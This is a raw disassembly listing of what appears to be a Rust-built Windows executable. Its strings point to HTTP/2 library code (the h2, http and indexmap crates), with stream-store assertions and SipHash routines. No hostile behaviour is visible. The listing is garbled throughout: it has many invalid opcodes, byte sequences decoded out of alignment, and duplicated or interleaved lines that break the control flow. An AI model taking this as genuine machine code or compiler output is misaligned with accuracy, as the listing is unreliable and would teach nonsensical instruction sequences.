add byte [rax], al
add bl, al
mov eax, 3
ret
add byte [rax], al
add bl, al
mov eax, 8
ret
add byte [rax], al
add bl, al
mov eax, 0x13
ret
add byte [rax], al
add bl, al
mov eax, 0x1c
ret
add bl, al
mov eax, 0x19
ret
add bl, al
mov eax, 0x1d
ret
add bl, al
mov eax, 0x1b
ret
add bl, al
mov eax, 0xe
ret
add bl, al
mov eax, 5
ret
add bl, al
mov eax, 2
ret
add bl, al
mov eax, 0x23
ret
add bl, al
mov eax, 0x1e
ret
add bl, al
mov eax, 0x20
ret
mov eax, 0x14
ret
mov eax, 0x15
ret
mov eax, 0x18
ret
mov eax, 0x17
ret
mov eax, 9
ret
mov eax, 0xb
ret
mov eax, 0x12
ret
movups xmmword [r9 + rcx + 0x18], xmm0
movups xmmword [r9 + rcx + 0x28], xmm1
mov r8, qword [rsp + 0x60]
mov qword [r9 + rcx + 0x38], r8
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
movups xmmword [r9 + rcx + 0x40], xmm0
or dword [rax + 0x41], eax
movups xmmword [rcx + rcx + 0x50], xmm1
or dword [rax + 0x41], eax
movups xmmword [rcx + rcx + 0x50], xmm1
mov word [r9 + rcx + 0x60], bp
inc rax
mov qword [rsi + 0x28], rax
cmp r15, r12
jae 0x14001ece9
mov rax, qword [rsi + 0x48]
mov word [rax + r15*4], dx
mov word [rax + r15*4 + 2], bp
xor esi, esi
jmp 0x14001ecc4
mov edx, dword [rax + 8]
mov r8, qword [r8 + 0x10]
call qword [rax + 0x10]
mov eax, esi
add rsp, 0x108
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r15
mov rdx, r12
call fcn.140104670
pop rcx
invalid
invalid
pop rcx
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rdi
call fcn.140104670
pop cx
invalid
invalid
pop cx
invalid
mov ecx, 2
mov edx, 0x20
call fcn.140104360
mov ecx, 8
mov edx, 0x270
call fcn.140104360
int3
int3
int3
shl byte [rax], 0x48
add edx, eax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
add rdx, rax
shl rax, 0x10
xor rax, rdx
shr rax, 0x2b
add rdx, rcx
retf 0xc148
jmp 0x101333ae3
mov rax, rdx
shr rax, 0x20
and byte [rax + 0x31], cl
ror byte [rax + 0x31], 1
enter 0xffffffffffff82e9, 0
add byte [rax], al
retf 0xc148
and byte [rax + 0x31], cl
ror byte [rax + 0x31], 1
enter 0xffffffffffff82e9, 0
add byte [rax], al
movzx edx, byte [rsi + 8]
xor rax, rdx
imul rax, rcx
jmp 0x14001f348
movzx r9d, byte [r8]
xor r9, rax
imul r9, rdx
or byte [rcx + 0x31], cl
ror dword [rdi + rcx - 0x51], 0xca
movzx eax, byte [r8 + 1]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 2]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 3]
xor rax, r9
imul rax, rdx
scasd eax, dword [rdi]
ret 0xf45
mov dh, 0x48
add al, 0x49
xor ecx, eax
imul r9, rdx
movzx eax, byte [r8 + 5]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 6]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 7]
add r8, 8
xor rax, r9
imul rax, rdx
ret 0x3949
invalid
jne 0x14001f2e0
scasd eax, dword [rdi]
ret 0xf45
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x14001f502
jmp 0x14001f51d
cmp ecx, ebx
jae 0x14001f51d
lea rcx, [rdx + r8]
movzx esi, word [r10 + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
or eax, 2
or eax, 2
cmp r8, r11
jae 0x14001f537
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
mov dword [rax + 0x40], ebx
pop rbx
pop rdi
pop rsi
ret
int3
int3
mov qword [rcx], rax
mov dword [rcx], eax
lea rax, [0x140112f73]
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], 0xd
mov dword [rcx + 0x10], 0xd
mov dword [rcx + 0x10], 0xd
mov qword [rcx + 0x18], 0
add byte [rax], al
mov byte [rcx + 0x20], 0
ret
mov eax, ecx
mov qword [rcx + 8], r8
mov dword [rcx + 8], eax
mov qword [rcx + 0x10], r9
mov qword [rcx + 0x18], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xf3206
lea rcx, [0x1401127a0]
mov qword [rax], rcx
ret
retf
mov dh, 5
out dx, eax
fcom qword [0x1401aafc4]
add byte [rax], al
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14001f618
mov rdi, rax
mov rax, qword [rsi + 0x10]
mov qword [rdi + 0x10], rax
movups xmm0, xmmword [rsi]
movups xmmword [rdi], xmm0
movzx eax, byte [0x14017d2b0]
add eax, 0x15dcc6
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14001f627
mov qword [rax], rdi
lea rcx, [0x1401125c0]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], bl
inc rax
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov ecx, 8
mov edx, 0x18
call fcn.140104380
mov qword [rbp - 8], rdi
mov ecx, 8
mov edx, 0x18
call fcn.140104380
ud2
push 0xffffffffffffffff
dec dword [rax - 0x73]
add dword [rax - 0x77], r9d
and al, 0x20
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.140016670
lea rax, [rsi + 2]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.140016670
lea rax, [rsi + 3]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.140016670
lea rax, [rsi + 4]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.140016670
lea rax, [rsi + 5]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.140016670
lea rax, [rsi + 6]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.140016670
add rsi, 7
mov qword [rsp + 0x20], rsi
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.140016670
mov al, 1
cmp byte [rsp + 0x30], 0
jne 0x14001fcc0
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14016ee49]
mov r8d, 1
call qword [rax + 0x18]
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140104620
lea rcx, str.assertion_failed:_self.can_inc_num_send_streams__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamscounts.rsassertion_failed:_self.can_inc_num_recv_streams__
mov edx, 0x31
call fcn.1401046f0
lea rcx, str.assertion_failed:__stream.is_counted
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamscounts.rsassertion_failed:_self.can_inc_num_recv_streams__
mov edx, 0x24
call fcn.1401046f0
int3
add dword [rcx - 0x3a], eax
and byte [rax], 1
add byte [rax], al
add byte [rax - 0x75], cl
adc byte [r9 + r9*4 + 0x74], r8b
and al, 0x20
mov dword [rsp + 0x24], esi
cmp rax, r14
jbe 0x14001ffd2
invalid
add byte [rax - 0x75], cl
or byte [r10 - 0x75], r9b
or al, 0x38
mov rax, qword [rdi + 8]
mov rcx, qword [rax + r15]
cmp rcx, 2
je 0x14001ffd2
add rax, r15
cmp dword [rax + 0x114], esi
jne 0x14001ffd2
cmp byte [rax + 0x50], 5
ja 0x14001ffc0
test rcx, rcx
jne 0x14001ffc0
cmp qword [rax + 0x88], 0
jne 0x14001ffc0
cmp qword [rax + 0x78], 0
jne 0x14001ffc0
cmp byte [rax + 0x121], 0
jne 0x14001ffc0
add byte [rbp + 0x45], dh
cmp byte [rax + 0x122], 0
jne 0x14001ffc0
cmp byte [rax + 0x126], 0
jne 0x14001ffc0
cmp byte [rax + 0x127], 0
jne 0x14001ffc0
cmp byte [rax + 0x124], 0
jne 0x14001ffc0
cmp dword [rax + 0x48], 0x3b9aca00
jne 0x14001ffc0
mov rcx, rdx
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.1400204d0
nop
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x28], rbx
lea rax, [0x14001b1b0]
mov qword [rsp + 0x30], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140104620
lea rcx, str.assertion_failed:__id.is_zero__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotopeer.rs
lea r8, [0x140124ec0]
mov edx, 0x1f
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.num_send_streams___0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamscounts.rsassertion_failed:_self.can_inc_num_recv_streams__
mov edx, 0x2b
add byte [rbp + rcx*4 + 5], cl
or eax, 0xba001051
sub eax, dword [rax]
add byte [rax], al
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.num_recv_streams___0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamscounts.rsassertion_failed:_self.can_inc_num_recv_streams__
mov edx, 0x2b
add byte [rax], al
add al, ch
add dword [rsi + 0xe], 0
add byte [rax], al
add al, ch
add dword [rsi + 0xe], 0
lea rcx, str.assertion_failed:_self.num_local_reset_streams___0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamscounts.rsassertion_failed:_self.can_inc_num_recv_streams__
mov edx, 0x32
call fcn.1401046f0
int3
mov ebx, dword [rcx + 0x30]
cmp rsi, 1
jne 0x140020163
cmp dword [rbx + 8], edi
jne 0x1400203e4
mov qword [rcx + 0x38], 0
mov r8, qword [rbx]
mov rax, qword [rcx + 0x40]
mov rdx, qword [rcx + 0x48]
mov r9, rdx
and r9, r8
shr r8, 0x39
movd xmm0, r8d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r10d, r10d
pcmpeqd xmm1, xmm1
movdqu xmm2, xmmword [rax + r9]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r11d, xmm3
nop dword [rax]
test r11w, r11w
je 0x140020141
tzcnt r8d, r11d
lea esi, [r11 - 1]
and esi, r11d
add r8, r9
and r8, rdx
shl r8, 3
mov r11, rax
sub r11, r8
cmp qword [r11 - 8], 0
mov r11d, esi
jne 0x140020110
jmp 0x140020270
pcmpeqb xmm2, xmm1
pmovmskb r8d, xmm2
test r8d, r8d
jne 0x1400203e4
add r9, r10
add r9, 0x10
add r10, 0x10
and r9, rdx
jmp 0x1400200f9
mov rax, qword [rcx + 0x60]
mov rdx, qword [rcx + 0x68]
mov r14, rcx
mov rcx, rax
mov r8d, edi
call fcn.140020750
mov r9, r14
mov rdx, qword [r14 + 0x40]
mov r8, qword [r14 + 0x48]
mov r11, r8
and r11, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r14d, r14d
pcmpeqd xmm1, xmm1
movdqu xmm2, xmmword [rdx + r11]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r15d, xmm3
nop word [rax + rax]
test r15w, r15w
je 0x140020210
tzcnt eax, r15d
add rax, r11
and rax, r8
lea r10, [rax*8]
mov rcx, rdx
sub rcx, r10
mov rcx, qword [rcx - 8]
cmp rsi, rcx
jbe 0x1400203f1
lea ebp, [r15 - 1]
and ebp, r15d
shl rcx, 4
mov r15d, ebp
cmp dword [rbx + rcx + 8], edi
jne 0x1400201c0
jmp 0x140020233
pcmpeqb xmm2, xmm1
pmovmskb eax, xmm2
test eax, eax
jne 0x1400203e4
add r11, r14
add r11, 0x10
add r14, 0x10
and r11, r8
jmp 0x1400201a7
sar r10, 3
lea rcx, [r10 - 0x10]
and rcx, r8
movdqu xmm0, xmmword [rdx + rcx]
pcmpeqd xmm1, xmm1
pcmpeqb xmm0, xmm1
psllw xmm0, 7
pmovmskb edi, xmm0
movdqu xmm0, xmmword [rdx + r10]
pcmpeqb xmm0, xmm1
pmovmskb r11d, xmm0
test edi, edi
je 0x1400202b8
bsr di, di
xor edi, 0xf
jmp 0x1400202bc
sar r8, 3
lea r9, [r8 - 0x10]
and r9, rdx
movdqu xmm0, xmmword [rax + r9]
pcmpeqd xmm1, xmm1
pcmpeqb xmm0, xmm1
psllw xmm0, 7
pmovmskb r10d, xmm0
movdqu xmm0, xmmword [rax + r8]
pcmpeqb xmm0, xmm1
pmovmskb edx, xmm0
test r10d, r10d
je 0x1400203b6
bsr r10w, r10w
xor r10d, 0xf
jmp 0x1400203bb
mov di, 0x10
neg rax
or r11d, 0x10000
tzcnt r11d, r11d
add edi, r11d
mov r11b, 0x80
cmp di, 0xf
ja 0x1400202de
inc qword [r9 + 0x50]
mov r11b, 0xff
mov byte [rdx + r10], r11b
mov byte [rdx + rcx + 0x10], r11b
dec qword [r9 + 0x58]
mov rcx, qword [rdx + rax*8 - 8]
cmp rsi, rcx
jbe 0x140020400
mov rax, rcx
shl rax, 4
dec rsi
mov r10, rsi
shl r10, 4
movups xmm0, xmmword [rbx + r10]
movups xmmword [rbx + rax], xmm0
mov qword [r9 + 0x38], rsi
cmp rsi, rcx
jbe 0x1400203e4
add rbx, rax
mov rax, qword [rbx]
mov r9, rax
shr r9, 0x39
movd xmm0, r9d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r9d, r9d
and rax, r8
movdqu xmm2, xmmword [rdx + rax]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r11d, xmm3
nop dword [rax + rax]
test r11w, r11w
je 0x140020391
tzcnt r10d, r11d
lea edi, [r11 - 1]
and edi, r11d
add r10, rax
and r10, r8
lea r11, [r10*8]
mov rbx, rdx
sub rbx, r11
mov r11d, edi
cmp qword [rbx - 8], rsi
jne 0x140020360
jmp 0x1400203ac
pcmpeqb xmm2, xmm1
pmovmskb r10d, xmm2
test r10d, r10d
jne 0x14002040f
add rax, r9
add rax, 0x10
add r9, 0x10
jmp 0x140020343
neg r10
mov qword [rdx + r10*8 - 8], rcx
jmp 0x1400203e4
mov r10w, 0x10
or edx, 0x10000
tzcnt edx, edx
add r10d, edx
mov dl, 0x80
cmp r10w, 0xf
ja 0x1400203d7
inc qword [rcx + 0x50]
mov dl, 0xff
mov byte [rax + r8], dl
mov byte [rax + r9 + 0x10], dl
dec qword [rcx + 0x58]
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcore.rs
mov rdx, rsi
call fcn.140104670
lea r8, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_alloc_src_vecmod.rs
mov rdx, rsi
call fcn.140104440
lea rcx, str.index_not_found
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcore.rs
mov edx, 0xf
call fcn.140104a60
int3
int3
jle 0x1400204fe
sub al, 0x48
add edi, 8
and eax, 0x200
add byte [rbx - 0x77], cl
insb byte [rdi], dx
and eax, 0xfb834808
add cl, byte [rdi]
test dh, ah
add byte [rax], al
add byte [rcx - 1], cl
sbb byte [rbp - 0x77], r9b
jle 0x140020569
xor al, 1
add byte [rax], al
add byte [rbx + 0x5d], bl
add byte [rax - 0x73], cl
mov word [rsp + rsi], fs
add dword [rax], eax
add byte [rax - 0x7d], cl
invalid
ror byte [rax - 0x7d], 0xc4
pop rsi
ret
xor rax, rcx
movabs r9, 0x646f72616e646f6d
xor r9, rdx
movabs r10, 0x6c7967656e657261
xor r10, rcx
retf 0xbb49
jae 0x1400207e4
je 0x1400207fa
invalid
je 0x1400207cf
xor ebx, edx
enter 0xffffffffffffb949, 0x6d
outsd dx, dword [rsi]
outsb dx, byte fs:[rsi]
invalid
retf 0xbb49
mov ebx, 0x79746573
invalid
je 0x1400207cf
xor ebx, edx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x48], r11
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x48], ebx
mov qword [rsp + 0x50], rcx
and al, 0x50
push rax
mov qword [rsp + 0x58], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x2c], r8d
and al, 0x2c
and al, 0x2c
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x2c]
and al, 0x2c
mov r8d, 4
call fcn.14001f360
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
and al, 0x60
invalid
and al, 0x60
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x48]
push rsp
and al, 0x48
mov rax, qword [rsp + 0x30]
add rax, rcx
rol rcx, 0xd
xor rdx, r9
xor rcx, rax
rol rax, 0x20
mov r8, qword [rsp + 0x38]
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rdx, rax
xor rcx, r8
rol r8, 0x20
xor rax, r9
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
xor r8, 0xff
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rcx, r8
rol r8, 0x20
xor rdx, rax
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
rol eax, 0x20
rol eax, 0x20
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rcx, r8
xor ecx, eax
xor ecx, eax
rol r8, 0x20
xor rdx, rax
add rax, rcx
rol rcx, 0xd
add r8, rdx
rol rdx, 0x10
xor rdx, r8
rol rdx, 0x15
ret 0x4815
xor ecx, eax
add r8, rcx
add eax, ecx
ret 0x4815
add eax, ecx
rol rcx, 0x11
mov rax, r8
rol rax, 0x20
xor rax, rcx
xor rax, rdx
xor rax, r8
add rsp, 0x78
ret
int3
int3
in al, dx
mov rsi, qword [rcx]
movzx eax, byte [rsi]
add al, 0xfa
movzx eax, al
cmp al, 6
mov ecx, 6
cmovb ecx, eax
movzx eax, cl
lea rcx, [0x140172d48]
or eax, 0x152453
or eax, 0x152453
push rbx
and al, 0x15
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14013e045]
adc eax, 0x11d734
adc eax, 0x11d734
mov r8d, 4
jmp 0x140020a40
inc rsi
mov qword [rsp + 0x40], rsi
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14013e329]
mov r8d, 0xf
jmp 0x140020a66
add cl, ch
sub byte [rcx], al
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14013e310]
mov r8d, 0xe
jmp 0x140020a40
lea rax, [rsi + 2]
mov qword [rsp + 0x40], rax
inc rsi
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, str.OpenClosed
mov r8d, 4
mov rdi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x28], rdi
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
lea rax, [0x140125e90]
mov qword [rsp + 0x20], rax
lea rdx, [0x14013e31e]
lea rdi, [rsp + 0x28]
mov r8d, 5
mov rcx, rdi
mov r9, rsi
call fcn.1400144f0
lea rax, [0x140125eb0]
mov qword [rsp + 0x20], rax
lea rdx, [0x14013e323]
lea r9, [rsp + 0x40]
mov r8d, 6
mov rcx, rdi
call fcn.1400144f0
cmp byte [rsp + 0x31], 0
movzx ecx, byte [rsp + 0x30]
je 0x140020b56
mov al, 1
test cl, cl
jne 0x140020b4f
mov rax, qword [rsp + 0x28]
test byte [rax + 0x34], 4
jne 0x140020b5a
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140140fb9]
mov r8d, 2
jmp 0x140020b6f
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14013e303]
mov r8d, 0xd
add rsp, 0x48
pop rdi
pop rsi
jmp rax
inc rsi
mov qword [rsp + 0x40], rsi
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14013e338]
mov r8d, 0x10
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x140125eb0]
jmp 0x140020ad2
mov qword [rsp + 0x40], rsi
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14013e1cc]
mov r8d, 6
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x140125ed0]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.140016520
mov rcx, qword [rsp + 0x28]
movzx edx, byte [rsp + 0x38]
test rcx, rcx
je 0x140020b48
mov al, 1
test dl, dl
jne 0x140020b4a
mov rsi, qword [rsp + 0x30]
cmp rcx, 1
jne 0x140020b2e
cmp byte [rsp + 0x39], 0
je 0x140020b2e
test byte [rsi + 0x34], 4
jne 0x140020b2e
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x140020b4a
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014a1c8]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x140020b4a
mov eax, edx
test al, al
setne al
add rsp, 0x48
pop rdi
pop rsi
ret
test cl, cl
jmp 0x140020b4c
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140146913]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x140020b4f
test r8, r8
je 0x14002164f
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x40]
lock dec qword [rax]
jne 0x140021655
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
call fcn.1400049d0
jmp 0x140021655
call qword [rax + 0x80]
nop
add rsp, 0x90
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
and al, 0x60
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x60]
call fcn.140104620
int3
push rax
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
test r8, r8
je 0x14002192e
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x38]
cmp r8, 2
invalid
je 0x14002198a
add dh, byte [rsi + rcx*2 + 0x48]
mov edx, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
test r8, r8
je 0x140021984
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x40]
lock dec qword [rax]
jne 0x14002198a
invalid
invalid
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
call fcn.1400049d0
jmp 0x14002198a
call qword [rax + 0x80]
nop
add rsp, 0x90
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea eax, [0x14001b1b0]
mov qword [rsp + 0x30], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x60]
call fcn.140104620
mov qword [rsp + 0x28], r15
lea rax, [0x14001b1b0]
mov qword [rsp + 0x30], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x60]
call fcn.140104620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140104a40
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
mov edx, 0x2c
call fcn.1401046f0
int3
and al, 0x58
add dword [rax], eax
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140104620
int3
or byte [rbx - 0x76bbf3ae], cl
push rsp
and al, 0x20
mov dword [rsp + 0x24], edx
cmp qword [r8 + 0x10], r10
jbe 0x140021f40
mov rax, qword [r8 + 8]
imul r10, r10, 0x130
cmp dword [rax + r10], 2
je 0x140021f40
add rax, r10
cmp dword [rax + 0x114], edx
jne 0x140021f40
mov edx, dword [rax + 0x84]
test edx, edx
jle 0x140021f3a
invalid
adc eax, edi
add byte [rax + rax], 0
add byte [rax - 0x7d], cl
invalid
mov dword [rax + 0x84], 0
add rsp, 0x68
jmp fcn.1400216c0
nop
add rsp, 0x68
ret
lea rax, [rsp + 0x24]
mov qword [rsp + 0x28], rax
lea rax, [0x14001b1b0]
dec dword [rax - 0x77]
and al, 0x30
dec dword [rax - 0x77]
and al, 0x30
lea rax, str.dangling_store_key_for_stream_id
lea eax, [0x140125558]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140104620
mov byte [rsi], ah
invalid
add ah, cl
push rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140104620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea ecx, [0x14013acd0]
call fcn.140104a40
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
mov edx, 0x2c
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
scasd eax, dword [rdi]
mov edx, dword [rcx]
